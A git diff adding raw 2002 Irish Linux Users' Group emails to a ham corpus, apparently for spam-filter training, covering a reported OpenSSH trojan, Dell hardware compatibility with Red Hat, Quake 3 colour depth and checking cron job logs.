<20020802095502.E6407@bofh.irmet.ie> +Mail-Followup-To: ILUG main list +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +Subject: [ILUG] Fwd: OpenSSH trojan? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Saw this on the secure shell mailing list... + +Conor + +----- Forwarded message from quentyn@fotango.com ----- + +Date: Thu, 01 Aug 2002 12:26:53 +0100 +From: quentyn@fotango.com +To: "secureshell@securityfocus.com" +Subject: OpenSSH trojan? + +Posts doing the rounds ( probably loads of these posts sitting awaiting +moderation) + +looks like there is a trojan in the latest OpenSSH + + +http://www.mavetju.org/weblog/weblog.php + + +http://docs.freebsd.org/cgi/getmsg.cgi?fetch=394609+0+current/freebsd-security + +----- End forwarded message ----- + +-- +Conor Daly +Met Eireann, Glasnevin Hill, Dublin 9, Ireland +Ph +353 1 8064276 Fax +353 1 8064247 +------------------------------------ +bofh.irmet.ie running RedHat Linux 9:54am up 22:32, 9 users, load average: 0.67, 0.36, 0.29 + + +********************************************************************** +This email and any files transmitted with it are confidential and +intended solely for the use of the individual or entity to whom they +are addressed. If you have received this email in error please notify +the system manager. + +This footnote also confirms that this email message has been swept +for the presence of computer viruses. + + +********************************************************************** + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00223.7eb46d1a710b80df0d9700fe631ad9bb b/bayes/spamham/easy_ham_2/00223.7eb46d1a710b80df0d9700fe631ad9bb new file mode 100644 index 0000000..9231c98 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00223.7eb46d1a710b80df0d9700fe631ad9bb @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Fri Aug 2 10:06:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 529A2440F0 + for ; Fri, 2 Aug 2002 05:06:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 10:06:29 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72969213858 for + ; Fri, 2 Aug 2002 10:06:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA28264; Fri, 2 Aug 2002 10:03:23 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from AUSADMMSPS305.aus.amer.dell.com + (ausadmmsps305.aus.amer.dell.com [143.166.224.100]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id KAA28229 for ; Fri, + 2 Aug 2002 10:03:14 +0100 +From: Stephen_Reilly@dell.com +Received: from 143.166.227.176 by AUSADMMSPS305.aus.amer.dell.com with + ESMTP (Tumbleweed MMS SMTP Relay (MMS v4.7);); Fri, 02 Aug 2002 04:02: 43 + -0500 +X-Server-Uuid: bc938b4d-8e35-4c08-ac42-ea3e606f44ee +Received: by ausxc08.us.dell.com with Internet Mail Service (5.5.2650.21 ) + id ; Fri, 2 Aug 2002 03:55:00 -0500 +Message-Id: <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> +To: ilug@linux.ie +Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 +Date: Fri, 2 Aug 2002 04:02:38 -0500 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2650.21) +X-WSS-Id: 115495395499744-01-01 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> bad thing. Just a bad thing for those that hope a distro will +> work out of +> the box. + + It's still quite easy to find out, pre-purchase, what components if +any are going to give you problems with a specific distribution/version. +With Dell just check the support.dell.com site, match the system, look for +downloadable drivers. From these if there aren't any linux drivers you can +usually find out the chipset of each device. Plug them into google with +"linux" and see what people have to say about them. Generally speaking when +you buy the system you'll be told the make/model of each device rather than +the chipset, so further investigation is necessary. + + The cavaet, of course, is always to know exactly what you're buying. +In most people's cases unfortunately it's not the person who bought the +systems that will be configuring them. + +steve + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00224.3622520511e843a434f9ef3b990781f8 b/bayes/spamham/easy_ham_2/00224.3622520511e843a434f9ef3b990781f8 new file mode 100644 index 0000000..ba640fe --- /dev/null +++ b/bayes/spamham/easy_ham_2/00224.3622520511e843a434f9ef3b990781f8 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Fri Aug 2 10:06:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 07137440F1 + for ; Fri, 2 Aug 2002 05:06:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 10:06:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7296f213869 for + ; Fri, 2 Aug 2002 10:06:41 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA28432; Fri, 2 Aug 2002 10:05:06 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA28377 for ; + Fri, 2 Aug 2002 10:05:00 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g7294wY19533 for ; + Fri, 2 Aug 2002 10:04:58 +0100 +Date: Fri, 2 Aug 2002 10:04:56 +0100 +To: ILUG main list +Subject: Re: [ILUG] Fwd: OpenSSH trojan? +Message-Id: <20020802100456.B18928@ie.suberic.net> +References: <20020802095502.E6407@bofh.irmet.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020802095502.E6407@bofh.irmet.ie>; from conor.daly@met.ie + on Fri, Aug 02, 2002 at 09:55:02AM +0000 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028711098.1625a1@ie.suberic.net, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 02, 2002 at 09:55:02AM +0000, Conor Daly wrote: +> looks like there is a trojan in the latest OpenSSH + +and the amazing bit is that it was caught in 6 hours thanks to the +freebsd ports system (it automatically checks md5sums). + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00225.92e946af104a8d63e0dfff326cfa6adb b/bayes/spamham/easy_ham_2/00225.92e946af104a8d63e0dfff326cfa6adb new file mode 100644 index 0000000..ad8807a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00225.92e946af104a8d63e0dfff326cfa6adb @@ -0,0 +1,111 @@ +From ilug-admin@linux.ie Fri Aug 2 10:06:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E75B6440F3 + for ; Fri, 2 Aug 2002 05:06:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 10:06:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7298P213911 for + ; Fri, 2 Aug 2002 10:08:25 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA28730; Fri, 2 Aug 2002 10:06:57 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay01.esat.net (relay01.esat.net [192.111.39.11]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA28708 for ; + Fri, 2 Aug 2002 10:06:51 +0100 +Received: from www.emuse.ie (hassle.emuse.ie) [193.120.145.154] by + relay01.esat.net with esmtp id 17aYOZ-0004tY-00; Fri, 02 Aug 2002 10:06:51 + +0100 +Received: by HASSLE with Internet Mail Service (5.5.2653.19) id ; + Fri, 2 Aug 2002 10:07:22 +0100 +Message-Id: <5FE418B3F962D411BED40000E818B33C9C8E7F@HASSLE> +From: "Hunt, Bryan" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 +Date: Fri, 2 Aug 2002 10:07:17 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +When I get a box I don't want any of that integrated chipset crap +whether its for winblows or linux. Its just like IBM (mwave dsp chip ?) +(shared video/main memory ?)in the old days. I know you can flip a +mboard jumper switch to turn crap off and install your own cards +but why bother ? + +To clarify my point is this .... +Dell makes excellent machines and I would recomend their machines and +their aftersales support over any other manufacturer that I can think of. +However if you want that box for linux and you have a life and you dont +want to spend a week of it fucking arround and googling to get that box +working properly be damned sure you do your research before you buy it. +And this especially applies to their budget machines. + +And this isn't taking a swing at you John but ... + +>>Just a bad thing for those that hope a distro will work out of +>>the box. + +A lot of the time the reason that you encounter this is cause someone has +such a box and they say to you "hey can you install that linux code that I +got +from the guy in the internet cafe" :-) and you say sure and you go to their +house +(without a net connection/56k modem). And the machine has got this crap +windoze +only hardware and eventually you shrug in frustration and they say +"well I didn't expect much from something thats free anyhow" + +When Dell were squabbling with Windows and it looked as though there might +be +a Dell/Redhat alliance my Inspiron 4000 was produced ... it worked a treat, +now that dell doesn't give a shit about linux all their new cheap boxes are +linux +incompatable in small ways. + +--B + +-----Original Message----- +From: John P. Looney [mailto:valen@tuatha.org] +Sent: 02 August 2002 09:42 +To: ilug@linux.ie +Subject: Re: [ILUG] Dell GX260 V Redhat 7.3 + + +On Fri, Aug 02, 2002 at 09:28:57AM +0100, Hunt, Bryan mentioned: +> I'm not knocking dell in general, my next machine is going to be a dell. +> But buying a random dell box is likely to result in much tearing out of +> hair. + + Buying any new machine is going to cause problems with a six month old +set of drivers. Same happens in windows - you have to go get your drivers. + + Yes, dell use the most recent stuff they can, to save money. That's not a +bad thing. Just a bad thing for those that hope a distro will work out of +the box. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00226.cbfc41834ecb57c1a40e860e14b16950 b/bayes/spamham/easy_ham_2/00226.cbfc41834ecb57c1a40e860e14b16950 new file mode 100644 index 0000000..3f4439c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00226.cbfc41834ecb57c1a40e860e14b16950 @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Fri Aug 2 10:37:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0AA90440F3 + for ; Fri, 2 Aug 2002 05:37:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 10:37:06 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g729aF214847 for + ; Fri, 2 Aug 2002 10:36:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA29875; Fri, 2 Aug 2002 10:33:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from AUSADMMSPS306.aus.amer.dell.com + (ausadmmsps306.aus.amer.dell.com [143.166.224.101]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id KAA29838 for ; Fri, + 2 Aug 2002 10:33:29 +0100 +From: Stephen_Reilly@dell.com +Received: from 143.166.227.166 by AUSADMMSPS306.aus.amer.dell.com with + ESMTP (Tumbleweed MMS SMTP Relay (MMS v4.7);); Fri, 02 Aug 2002 04:32: 58 + -0500 +X-Server-Uuid: c21c953d-96eb-4242-880f-19bdb46bc876 +Received: by ausxc07.us.dell.com with Internet Mail Service (5.5.2650.21 ) + id ; Fri, 2 Aug 2002 04:32:58 -0500 +Message-Id: <653270E74A8DD31197AF009027AA4F8B01845F1C@LIMXMMF303> +To: ilug@linux.ie +Subject: RE: [ILUG] Dell GX260 V Redhat 7.3 +Date: Fri, 2 Aug 2002 04:32:51 -0500 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2650.21) +X-WSS-Id: 11548E401013226-01-01 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> When I get a box I don't want any of that integrated chipset crap +> whether its for winblows or linux. Its just like IBM (mwave +Then buy a Dimension. The alternative is there. + +> However if you want that box for linux and you have a life +> and you dont +> want to spend a week of it fucking arround and googling to +> get that box +> working properly be damned sure you do your research before +> you buy it. +Absolutely, to buy a machine and hope later that linux will take to it is +beyond naive. There is a lot of support, mailing lists, web sites, etc that +will help people decide if Linux is going to like a box or not, use them. + +> (without a net connection/56k modem). And the machine has got +> this crap +> windoze +> only hardware and eventually you shrug in frustration and they say +Or its a television set with one of those wireless keyboards :) + +> When Dell were squabbling with Windows and it looked as +I must have misssed that bit ? I don't recall any "squabble" with Microsoft +when Dell decided to expand their product range to include RH. + +> a Dell/Redhat alliance my Inspiron 4000 was produced ... it +There *IS* a Dell/Redhat alliance. It lead to a shocking amount of Dell +systems being easily configurable with RHL. + +> now that dell doesn't give a shit about linux all their new +> cheap boxes are +> linux +> incompatable in small ways. +You make it sound that incompatibility has been deliberately built into the +new systems. The products that any company sell with linux installed will be +easily reinstalled with linux. The products sold with Windows only may not +be. Having said that I've never found a Dell system it was impossible to put +RH on. I have had one or two headaches in the past doing it, though. + +steve + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00227.69a8ffbe70b32f6532a151b0854d24a6 b/bayes/spamham/easy_ham_2/00227.69a8ffbe70b32f6532a151b0854d24a6 new file mode 100644 index 0000000..9912655 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00227.69a8ffbe70b32f6532a151b0854d24a6 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Fri Aug 2 10:47:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7BF00440F1 + for ; Fri, 2 Aug 2002 05:47:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 10:47:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g729fT214937 for + ; Fri, 2 Aug 2002 10:41:29 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA30322; Fri, 2 Aug 2002 10:39:48 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA30294 for ; + Fri, 2 Aug 2002 10:39:42 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 51C612B6B9 for ; + Fri, 2 Aug 2002 10:39:12 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2196) id 45411E508; + Fri, 2 Aug 2002 10:39:12 +0100 (IST) +Date: Fri, 2 Aug 2002 10:39:12 +0100 +From: Stephen Shirley +To: "Irish Linux User's Group (E-mail)" +Subject: Re: [ILUG] Quake 3 +Message-Id: <20020802093912.GA19703@skynet.ie> +Mail-Followup-To: "Irish Linux User's Group (E-mail)" +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.3.24i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 02, 2002 at 09:41:52AM +0100, Gregory McRandal (ext 722) wrote: +> I've installed Quake 3 onto my computer and it starts to run up ok but as +> soon as the graphics start it bails out. It complains that there is an +> error in sis_drv.o, the line before this says that it is starting Quake in +> 24 bit depth, now from http://www.winischhofer.net/linuxsis630.shtml I +> understand that the sis630 won't do 24 bit depth. So is there a way to make +> Quake start up in 16 bit depth? I've done some "google"ing but drawn a +> blank..... + +Hmm. Check to see what colour-depth your X session is running in. Try +changing DefaultDepth to 16 (in /etc/X11/XF86Cnfig-4), and restarting X. +Letting us know what distro you're using would help too. + +Steve +-- +"Oh look, it's the Pigeon of Love." + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00228.9f3a2b47d0663bf825eafcb961773e62 b/bayes/spamham/easy_ham_2/00228.9f3a2b47d0663bf825eafcb961773e62 new file mode 100644 index 0000000..d785fe5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00228.9f3a2b47d0663bf825eafcb961773e62 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Fri Aug 2 12:10:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 12110440F9 + for ; Fri, 2 Aug 2002 07:10:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 12:10:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72B5k219050 for + ; Fri, 2 Aug 2002 12:05:46 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA01119; Fri, 2 Aug 2002 12:03:43 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA01089 for ; Fri, + 2 Aug 2002 12:03:35 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A0005B5DF for ilug@linux.ie; Fri, 2 Aug 2002 12:03:35 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + 2087DDA4A; Fri, 2 Aug 2002 12:03:35 +0100 (IST) +Date: Fri, 2 Aug 2002 12:03:35 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] Checking that cronjobs actually ran? +Message-Id: <20020802120334.A26639@prodigy.Redbrick.DCU.IE> +References: <0D443C91DCE9CD40B1C795BA222A729E0188554A@milexc01.maxtor.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <0D443C91DCE9CD40B1C795BA222A729E0188554A@milexc01.maxtor.com>; + from conor_wynne@maxtor.com on Fri, Aug 02, 2002 at 11:52:06AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Wynne, Conor's [conor_wynne@maxtor.com] 16 lines of wisdom included: +> Hi ladies, +> +> I setup a cron job to do a full backup to tape drive there last night, but +> I'm just wondering how I can verify that it actually ran? +> I suppose that a mail will be sent to root as I ran crontab -e as root. Is +> that correct or should I be looking elsewhere? +> +> Thanks to everyone who replies in advance. + + +Where does cron log to? (check /etc/syslog.conf) + +Usually it's something like /var/log/cron.log or /var/log/cron + +Anyways have a look in the logs, make sure your backup ran (so long +as there weren't any errors). + +Typically if there's any output from the commands you've run, +they're mailed to you. + +-- + Philip Reynolds + RFC Networks tel: 01 8832063 +www.rfc-networks.ie fax: 01 8832041 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00229.a13256f5a663bbfb8050a7abe6932558 b/bayes/spamham/easy_ham_2/00229.a13256f5a663bbfb8050a7abe6932558 new file mode 100644 index 0000000..b4c49f7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00229.a13256f5a663bbfb8050a7abe6932558 @@ -0,0 +1,54 @@ +From ilug-admin@linux.ie Fri Aug 2 12:10:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E2E7F440F7 + for ; Fri, 2 Aug 2002 07:10:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 12:10:10 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72B2u218807 for + ; Fri, 2 Aug 2002 12:02:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA00880; Fri, 2 Aug 2002 12:00:38 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA00845 for ; Fri, + 2 Aug 2002 12:00:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Fri, 2 Aug 2002 11:52:14 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E0188554A@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'ilug@linux.ie'" +Subject: [ILUG] Checking that cronjobs actually ran? +Date: Fri, 2 Aug 2002 11:52:06 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi ladies, + +I setup a cron job to do a full backup to tape drive there last night, but +I'm just wondering how I can verify that it actually ran? +I suppose that a mail will be sent to root as I ran crontab -e as root. Is +that correct or should I be looking elsewhere? + +Thanks to everyone who replies in advance. + +Best Regards +CW + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00230.ff81becf76d1c77011e4218a6dba7a9a b/bayes/spamham/easy_ham_2/00230.ff81becf76d1c77011e4218a6dba7a9a new file mode 100644 index 0000000..6e64a43 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00230.ff81becf76d1c77011e4218a6dba7a9a @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Fri Aug 2 12:10:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B519D440F8 + for ; Fri, 2 Aug 2002 07:10:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 12:10:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72B8u219126 for + ; Fri, 2 Aug 2002 12:08:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA01523; Fri, 2 Aug 2002 12:07:02 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA01489 for + ; Fri, 2 Aug 2002 12:06:54 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from cunniffe.net (ts01-008.dublin.indigo.ie [194.125.134.8]) by + claymore.diva.ie (8.9.3/8.9.3) with ESMTP id MAA25581 for ; + Fri, 2 Aug 2002 12:06:36 +0100 +Message-Id: <3D4A6790.3070104@cunniffe.net> +Date: Fri, 02 Aug 2002 12:05:52 +0100 +From: Vincent Cunniffe +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug +Subject: Re: [ILUG] Checking that cronjobs actually ran? +References: <0D443C91DCE9CD40B1C795BA222A729E0188554A@milexc01.maxtor.com> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Wynne, Conor wrote: +> Hi ladies, +> +> I setup a cron job to do a full backup to tape drive there last night, but +> I'm just wondering how I can verify that it actually ran? +> I suppose that a mail will be sent to root as I ran crontab -e as root. Is +> that correct or should I be looking elsewhere? + +/var/log/cron + +Logs user, name of job run, and pid it ran as. + +Regards, + +Vin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00231.8096ae53e70b1b72b5935b12b823597b b/bayes/spamham/easy_ham_2/00231.8096ae53e70b1b72b5935b12b823597b new file mode 100644 index 0000000..71a9211 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00231.8096ae53e70b1b72b5935b12b823597b @@ -0,0 +1,101 @@ +From ilug-admin@linux.ie Fri Aug 2 12:21:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D6797440F8 + for ; Fri, 2 Aug 2002 07:21:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 12:21:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72BHL219536 for + ; Fri, 2 Aug 2002 12:17:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA04027; 